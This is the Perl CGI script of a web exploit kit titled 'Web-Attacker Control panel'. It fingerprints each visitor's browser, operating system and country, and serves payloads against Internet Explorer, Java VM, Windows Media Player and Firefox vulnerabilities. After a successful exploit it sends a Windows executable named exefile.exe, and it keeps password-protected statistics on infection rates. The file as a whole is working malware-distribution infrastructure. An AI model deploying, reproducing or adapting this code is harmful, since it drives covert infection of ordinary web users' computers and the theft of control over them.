#!/usr/bin/perl #ie0604.cgi use DB_File; use CGI qw(:standard); $Password_correct='admin'; $SubFolder=''; $BAN_Time=20*60 ; # 20 minutes ( or 20 * 60 seconds ) $LoaderName ='exefile.dat'; $Exp_MS05001 ='ms05001.dat'; $Exp_MS06013 ='ms06013.dat'; $Exp_MFSA200550='mfsa200550.dat'; $Exp_MS06006 ='ms06006.dat'; $nExploits = 6; # total number of equipped exploits in this package $DataBase ='ie0604.dbf'; $ID_attacked = 0; if ($ENV{'REQUEST_METHOD'} eq 'GET') { ####### Get the browser information ####### $UserIP =$ENV{'REMOTE_ADDR'}; $UserAgent =$ENV{'HTTP_USER_AGENT'}; $UserLanguage =$ENV{'HTTP_ACCEPT_LANGUAGE'}; $ServerName =$ENV{'SERVER_NAME'}; $ScriptPath =$ENV{'SCRIPT_NAME'}; $ScriptURI =$ENV{'REQUEST_URI'}; $Query=$ENV{'QUERY_STRING'}; @QueryFields=split(/&/,$Query); $Action=$QueryFields[0]; # the main parameter of the HTTP-request $UserParam=$QueryFields[1]; # an optional parameter of the HTTP-request $ScriptURL='http://'.$ServerName.$ScriptPath; $UserOS = 'Unknown'; $UserBrowser = 'Unknown'; if ($UserAgent=~/Opera/) { $UserBrowser='Opera'; } elsif ($UserAgent=~/Firefox/) { $UserBrowser='Firefox'; $pvFirefox=index($UserAgent,'Firefox/'); if ($pvFirefox != -1) { @FF_vers=split(/ /,substr($UserAgent,$pvFirefox+8)); $UserBrowser=$UserBrowser.' '.$FF_vers[0]; } else { $UserBrowser=$UserBrowser.' '.'unknown';} } elsif ($UserAgent=~/Netscape/) { $UserBrowser='Netscape'; } elsif ($UserAgent=~/Konqueror/) { $UserBrowser='Konqueror'; } elsif ($UserAgent=~/WebTV/) { $UserBrowser='WebTV'; } elsif ($UserAgent=~/Lynx/) { $UserBrowser='Lynx'; } elsif ($UserAgent=~/Bot/) { $UserBrowser='Bot'; } elsif ($UserAgent=~/MSIE/) { if ($UserAgent=~/MSIE 5\.01/) { $UserBrowser='MSIE 5.01'; } elsif ($UserAgent=~/MSIE 5\.0/) { $UserBrowser='MSIE 5.0'; } elsif ($UserAgent=~/MSIE 5\.5/) { $UserBrowser='MSIE 5.5'; } elsif ($UserAgent=~/MSIE 6\.0/) { $UserBrowser='MSIE 6.0'; } else { $UserBrowser='MSIE unknown'; } if ($UserAgent=~/SV1/) { $UserBrowser=$UserBrowser.' SP2'; } } else { $UserBrowser='Unknown'; } if ($UserAgent=~/Windows/) { if ($UserAgent=~/Windows 95/) { $UserOS='Windows 95'; } elsif ($UserAgent=~/Windows NT 4/) { $UserOS='Windows NT'; } elsif ($UserAgent=~/Win 9x 4\.9/) { $UserOS='Windows ME'; } elsif ($UserAgent=~/Windows 98/) { $UserOS='Windows 98'; } elsif ($UserAgent=~/Windows NT 5\.0/) { $UserOS='Windows 2000'; } elsif ($UserAgent=~/Windows NT 5\.1/) { $UserOS='Windows XP'; } elsif ($UserAgent=~/Windows NT 5\.2/) { $UserOS='Windows 2003'; } } elsif ($UserAgent=~/Mac OS/) { $UserOS='Mac OS'; } elsif ($UserAgent=~/PowerPC/) { $UserOS='PowerPC'; } elsif ($UserAgent=~/Linux/) { $UserOS='Linux'; } else { $UserOS='Unknown'; } $ServerTime=time; @Months = ('Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'); ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst)=localtime($ServerTime); $real_year=$year+1900; $month=$Months[$mon]; $CurrentTime="$mday\-$month\-$real_year $hour\:$min"; if ($UserBrowser=~/MSIE/) { $UserID=strcrc32("$UserIP$UserAgent$mday$hour"); } else { $UserID=strcrc32("$UserIP$UserOS$mday$hour"); } my $Geo_enabled = 0; $GeoModule = "Geo::IPfree"; if (eval "require $GeoModule") { $Geo_enabled = 1; } else { $GeoModule = "Geo::IP"; if (eval "require $GeoModule") { $Geo_enabled = 2; } } if ($Geo_enabled == 1) { $GeoIP = $GeoModule->new() ; # Using the default DB! } elsif ($Geo_enabled == 2) { $GeoIP = $GeoModule->new(GEOIP_STANDARD) ; # Using the default DB! } if ($Action=~/password=/) { $Password=substr($Action,9); print "Content-Type: text/html\r\n\r\n"; if ($Password eq $Password_correct) { %Countries = (); %Browsers = (); %OSystems = (); @nTotal = (0,0,0,0,0,0,0); @nTotal_eff = (0,0,0,0,0,0,0); dbmopen %Uniques, "$DataBase", 0666; while(($uID, $uID_stat) = each(%Uniques)) { @StatFields=split(/\;/,$uID_stat); $nTotal[0]++; $jj = 0; if (($StatFields[3] > 0)&&($StatFields[3] <= $nExploits)) { $jj = $jj+$StatFields[3]; $nTotal[$jj]++; } $jj = 0; if (exists $OSystems{$StatFields[1]}) { $HashLine=$OSystems{$StatFields[1]}; @HashFields=split(/\,/,$HashLine); $HashFields[0]++; if (($StatFields[3] > 0)&&($StatFields[3] <= $nExploits)) { $jj = $jj+$StatFields[3]; $HashFields[$jj]++; } $HashLine=""; foreach $item (@HashFields) { $HashLine=$HashLine."$item".','; } $OSystems{$StatFields[1]}=$HashLine; } else { if ($StatFields[3] == 1) { $OSystems{$StatFields[1]}="1,1,0,0,0,0,0"; } elsif ($StatFields[3] == 2) { $OSystems{$StatFields[1]}="1,0,1,0,0,0,0"; } elsif ($StatFields[3] == 3) { $OSystems{$StatFields[1]}="1,0,0,1,0,0,0"; } elsif ($StatFields[3] == 4) { $OSystems{$StatFields[1]}="1,0,0,0,1,0,0"; } elsif ($StatFields[3] == 5) { $OSystems{$StatFields[1]}="1,0,0,0,0,1,0"; } elsif ($StatFields[3] == 6) { $OSystems{$StatFields[1]}="1,0,0,0,0,0,1"; } else { $OSystems{$StatFields[1]}="1,0,0,0,0,0,0"; } } $jj = 0; if (exists $Browsers{$StatFields[2]}) { $HashLine=$Browsers{$StatFields[2]}; @HashFields=split(/\,/,$HashLine); $HashFields[0]++; if (($StatFields[3] > 0)&&($StatFields[3] <= $nExploits)) { $jj = $jj+$StatFields[3]; $HashFields[$jj]++; } $HashLine=""; foreach $item (@HashFields) { $HashLine=$HashLine."$item".','; } $Browsers{$StatFields[2]}=$HashLine; } else { if ($StatFields[3] == 1) { $Browsers{$StatFields[2]}="1,1,0,0,0,0,0"; } elsif ($StatFields[3] == 2) { $Browsers{$StatFields[2]}="1,0,1,0,0,0,0"; } elsif ($StatFields[3] == 3) { $Browsers{$StatFields[2]}="1,0,0,1,0,0,0"; } elsif ($StatFields[3] == 4) { $Browsers{$StatFields[2]}="1,0,0,0,1,0,0"; } elsif ($StatFields[3] == 5) { $Browsers{$StatFields[2]}="1,0,0,0,0,1,0"; } elsif ($StatFields[3] == 6) { $Browsers{$StatFields[2]}="1,0,0,0,0,0,1"; } else { $Browsers{$StatFields[2]}="1,0,0,0,0,0,0"; } } $jj = 0; if ($Geo_enabled != 0) { $country_name = $StatFields[5]; if (exists $Countries{$country_name}) { $HashLine=$Countries{$country_name}; @HashFields=split(/\,/,$HashLine); $HashFields[0]++; if (($StatFields[3] > 0)&&($StatFields[3] <= $nExploits)) { $HashFields[1]++; } $HashLine=$HashFields[0].','.$HashFields[1]; $Countries{$country_name}=$HashLine; } else { if (($StatFields[3] > 0)&&($StatFields[3] <= $nExploits)) { $Countries{$country_name}="1,1,"; } else { $Countries{$country_name}="1,0,"; } } } } dbmclose %Uniques; for ($jj=0;$jj < scalar(@nTotal_eff); $jj++) { if ($nTotal[0]==0) { $nTotal_eff[$jj]=0; } else { $nTotal_eff[$jj]=($nTotal[$jj]/$nTotal[0])*100; } } $Sum_Total=0; for ($jj=1;$jj < scalar(@nTotal); $jj++) { $Sum_Total=$Sum_Total+$nTotal[$jj]; } $Sum_Total_eff=0; for ($jj=1;$jj < scalar(@nTotal_eff); $jj++) { $Sum_Total_eff=$Sum_Total_eff+$nTotal_eff[$jj]; } print "Exploit penetration statistics
Make your own free website on Tripod.com
\r\n"; print "
\r\n"; # Display the Total statistics print "

Overall statistics


\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "
Total hostsMS03-11MS04-013MS05-001MS06-013MFSA2005-50MS06-006
$nTotal[0]$nTotal[1]$nTotal[2]$nTotal[3]$nTotal[4]$nTotal[5]$nTotal[6]
",sprintf("%.2f",$nTotal_eff[0])," %",sprintf("%.2f",$nTotal_eff[1])," %",sprintf("%.2f",$nTotal_eff[2])," %",sprintf("%.2f",$nTotal_eff[3])," %",sprintf("%.2f",$nTotal_eff[4])," %",sprintf("%.2f",$nTotal_eff[5])," %",sprintf("%.2f",$nTotal_eff[6])," %
\r\n"; print "

Total number of Exploited hosts is ",$Sum_Total,"

\r\n"; print "

Total Exploit efficiency is ",sprintf("%.2f",$Sum_Total_eff)," %

\r\n"; # Display the Operation System statistics print "

Operation Systems statistics


\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; foreach $OSystem (sort keys %OSystems) { print "\r\n"; print "\r\n"; $OSystem_stat = $OSystems{$OSystem}; @HashFields=split(/\,/,$OSystem_stat); print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; } print "
OS nameHostsMS03-11MS04-013MS05-001MS06-013MFSA2005-50MS06-006
$OSystem$HashFields[0]$HashFields[1]$HashFields[2]$HashFields[3]$HashFields[4]$HashFields[5]$HashFields[6]
\r\n"; # Display the Browser statistics print "

Internet Browser statistics


\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; foreach $Browser (sort keys %Browsers) { print "\r\n"; print "\r\n"; $Browser_stat = $Browsers{$Browser}; @HashFields=split(/\,/,$Browser_stat); print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; } print "
Browser nameHostsMS03-11MS04-013MS05-001MS06-013MFSA2005-50MS06-006
$Browser$HashFields[0]$HashFields[1]$HashFields[2]$HashFields[3]$HashFields[4]$HashFields[5]$HashFields[6]
\r\n"; # Display the Geographical statistics print "

Geographical statistics


\r\n"; if ($Geo_enabled != 0) { print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; print "\r\n"; while(($Country, $Country_stat) = each(%Countries)) { print "\r\n"; print "\r\n"; @HashFields=split(/\,/,$Country_stat); print "\r\n"; print "\r\n"; $Efficiency = ($HashFields[1]/$HashFields[0])*100; print "\r\n"; } print "
CountryTotal hostsAttacked hostsEfficiency %
$Country$HashFields[0]$HashFields[1]",sprintf("%.2f",$Efficiency),"
\r\n"; } else { print "This type of statistics is not accessible"; print "(Geo::IP or Geo::IPfree modules are not found on the server)
\r\n"; } print "
\r\n"; print "Type your password:

\r\n"; print "\r\n"; print "
\r\n"; print "
\r\n"; print "\r\n"; } else { print "Web-Attacker Control panel\r\n"; print "\r\n"; print "
\r\n"; print "Incorrect password !
\r\n"; print "Your IP is: $UserIP
\r\n"; print "Your Browser is: $UserBrowser
\r\n"; print "Your Operation System is: $UserOS
\r\n"; print "Current Date and Time: $CurrentTime
\r\n"; print "

Please enter the password to access the statistics

\r\n"; print "
\r\n"; print "

\r\n"; print "\r\n"; print "
\r\n"; print "
\r\n"; print "\r\n"; } } elsif ($Action=~/clear=/) { $Password=substr($Action,6); print "Content-Type: text/html\r\n\r\n"; if ($Password eq $Password_correct) { if (-e $DataBase) { unlink($DataBase); } print "Exploit penetration statistics\r\n"; print "
\r\n"; print "

All of the statistics data were successfully deleted!


\r\n"; print "
\r\n"; print "\r\n"; } else { print "Web-Attacker Control panel\r\n"; print "\r\n"; print "
\r\n"; print "Incorrect password !
\r\n"; print "Your IP is: $UserIP
\r\n"; print "Your Browser is: $UserBrowser
\r\n"; print "Your Operation System is: $UserOS
\r\n"; print "Current Date and Time: $CurrentTime
\r\n"; print "

Please enter the password to access the statistics

\r\n"; print "
\r\n"; print "

\r\n"; print "\r\n"; print "
\r\n"; print "
\r\n"; print "\r\n"; } } elsif ($Action=~/exploit/) { $exp_type=substr($Action,8); if ($exp_type=~/MS03\-11/) # ByteCode verifier exploit for MS Java Virtual Machine { $ID_attacked=1; } elsif ($exp_type=~/MS04\-013/) # IE ms-its: and mk:@MSITStore: vulnerability { $ID_attacked=2; } elsif ($exp_type=~/MS05\-001/) # IE vulnerability in HTML Help that allows Code Execution { $ID_attacked=3; } elsif ($exp_type=~/MS06\-013/) # IE 6.0 SP2 "createTextRange" vulnerability { $ID_attacked=4; } elsif ($exp_type=~/MFSA2005\-50/) # Firefox exploitable crash in InstallVersion.compareTo { $ID_attacked=5; } elsif ($exp_type=~/MS06\-006/) # Windows Media Player plug-in vulnerability { $ID_attacked=6; } else { $ID_attacked=0; } if (($ID_attacked==5)||($ID_attacked==6)) { $UserID=strcrc32("$UserIP$UserOS$mday$hour"); } else { $UserID=strcrc32("$UserIP$UserAgent$mday$hour"); } $AlreadyAttacked=1; dbmopen %Uniques, "$DataBase", 0666; if (exists $Uniques{$UserID}) { $uID_stat=$Uniques{$UserID}; @StatFields=split(/\;/,$uID_stat); if ($StatFields[3]==0) { $AlreadyAttacked=0; $StatFields[3]=$ID_attacked; } $StatLine=""; foreach $item (@StatFields) { $StatLine=$StatLine."$item".';'; } $Uniques{$UserID}=$StatLine; } dbmclose %Uniques; if ($AlreadyAttacked==0) { if (-e $LoaderName) { $fsize = -s "$LoaderName"; open (F,"$LoaderName"); binmode F; read(F,$Panzer,$fsize); close (F); print "Accept-Ranges: bytes\r\n"; print "Content-Length: $fsize\r\n"; print 'Content-Disposition: inline; filename=exefile.exe'; print "\r\n"; print "Content-Type: application/octet-stream\r\n\r\n"; binmode STDOUT; print $Panzer; } else { print "Content-Type: text/html\r\n\r\n"; print "Err: can not open the DATA file\r\n"; } } else { print "Content-Type: text/html\r\n\r\n"; print "Err: this user is already attacked!\r\n"; } } elsif ($Action=~/homepage/) { if ($Geo_enabled == 1) { ($country_id,$country_name) = $GeoIP->LookUp($UserIP); } elsif ($Geo_enabled == 2) { $country_id = $GeoIP->country_code_by_addr($UserIP); $country_name = $GeoIP->country_name_by_addr($UserIP); } else { $country_name =' ';} $ID_used=0; dbmopen %Uniques, "$DataBase", 0666; unless (exists $Uniques{$UserID}) { $Uniques{$UserID}="$UserIP;$UserOS;$UserBrowser;0;$ServerTime;$country_name;"; } else { $ID_used=1; $uID_stat=$Uniques{$UserID}; @StatFields=split(/\;/,$uID_stat); $DeltaTime=$ServerTime-$StatFields[4]; if ($DeltaTime > $BAN_Time) { $ID_used=0; $Uniques{$UserID}="$UserIP;$UserOS;$UserBrowser;0;$ServerTime;$country_name;"; } } dbmclose %Uniques; if ($ID_used==0) { print redirect("http://$ServerName$SubFolder/demo.php"); } else { print "Content-Type: text/html\r\n\r\n"; print ""; } } elsif ($Action=~/bug=/) { $exp_type=substr($Action,4); $ID_used=0; dbmopen %Uniques, "$DataBase", 0666; if (exists $Uniques{$UserID}) { $ID_used=1; } dbmclose %Uniques; if ($ID_used==1) { if ($UserBrowser=~/MSIE/) { if ($exp_type=~/MS03\-11/) { print "Content-Type: text/html\r\n\r\n"; print "\r\n"; print ""; print "\r\n"; print "\r\n"; } elsif ($exp_type=~/MS04\-013/) { print "Content-Type: text/html\r\n\r\n"; print "\r\n\r\n\r\n\r\n\\r\n"; } elsif ($exp_type=~/MS05\-001/) { if (-e $Exp_MS05001) { $fsize = -s "$Exp_MS05001"; open (F,"$Exp_MS05001"); @Text_Lines=; foreach $Text_Line (@Text_Lines) { if ($Text_Line=~/HTA_URL=/) { $Text_Line="HTA_URL=\"http://$ServerName$SubFolder\";\r\n"; } } close (F); print "Content-Type: text/html\r\n\r\n"; print @Text_Lines; } else { print "Content-Type: text/html\r\n\r\n"; print "Err: can not open the DATA file\r\n"; } } elsif ($exp_type=~/MS06\-013/) { if (-e $Exp_MS06013) { $fsize = -s "$Exp_MS06013"; open (F,"$Exp_MS06013"); binmode F; read(F,$Panzer,$fsize); close (F); print "Content-Type: text/html\r\n\r\n"; binmode STDOUT; print $Panzer; } else { print "Content-Type: text/html\r\n\r\n"; print "Err: can not open the DATA file\r\n"; } } else { print "Content-Type: text/html\r\n\r\n"; print ""; } } elsif ($UserBrowser=~/Firefox/) { if ($exp_type=~/MFSA2005\-50/) { if (-e $Exp_MFSA200550) { $fsize = -s "$Exp_MFSA200550"; open (F,"$Exp_MFSA200550"); binmode F; read(F,$Panzer,$fsize); close (F); print "Content-Type: text/html\r\n\r\n"; binmode STDOUT; print $Panzer; } else { print "Content-Type: text/html\r\n\r\n"; print "Err: can not open the DATA file\r\n"; } } elsif ($exp_type=~/MS06\-006/) { if (-e $Exp_MS06006) { $fsize = -s "$Exp_MS06006"; open (F,"$Exp_MS06006"); binmode F; read(F,$Panzer,$fsize); close (F); print "Content-Type: text/html\r\n\r\n"; binmode STDOUT; print $Panzer; } else { print "Content-Type: text/html\r\n\r\n"; print "Err: can not open the DATA file\r\n"; } } else { print "Content-Type: text/html\r\n\r\n"; print ""; } } else { print "Content-Type: text/html\r\n\r\n"; print ""; } } else { print "Content-Type: text/html\r\n\r\n"; print ""; } } else { print "Content-Type: text/html\r\n\r\n"; print "Web-Attacker Control panel\r\n"; print "\r\n"; print "
\r\n"; print "Your IP is: $UserIP
\r\n"; print "Your Browser is: $UserBrowser
\r\n"; print "Your Operation System is: $UserOS
\r\n"; print "Current Date and Time: $CurrentTime
\r\n"; print "

Please enter the password to access the statistics

\r\n"; print "
\r\n"; print "

\r\n"; print "\r\n"; print "
\r\n"; print "
\r\n"; print "\r\n"; } } sub _crc32 { my $comp = shift; $poly = 0xEDB88320; for (my $cnt = 0; $cnt < 8; $cnt++) { $comp = $comp & 1 ? $poly ^ ($comp >> 1) : $comp >> 1; } return $comp; } sub strcrc32 { my $crc = 0xFFFFFFFF; my ($tcmp) = @_; foreach (split(//,$tcmp)) { $crc = (($crc>>8) & 0x00FFFFFF) ^_crc32(($crc ^ ord($_)) & 0xFF); } return $crc^0xFFFFFFFF; }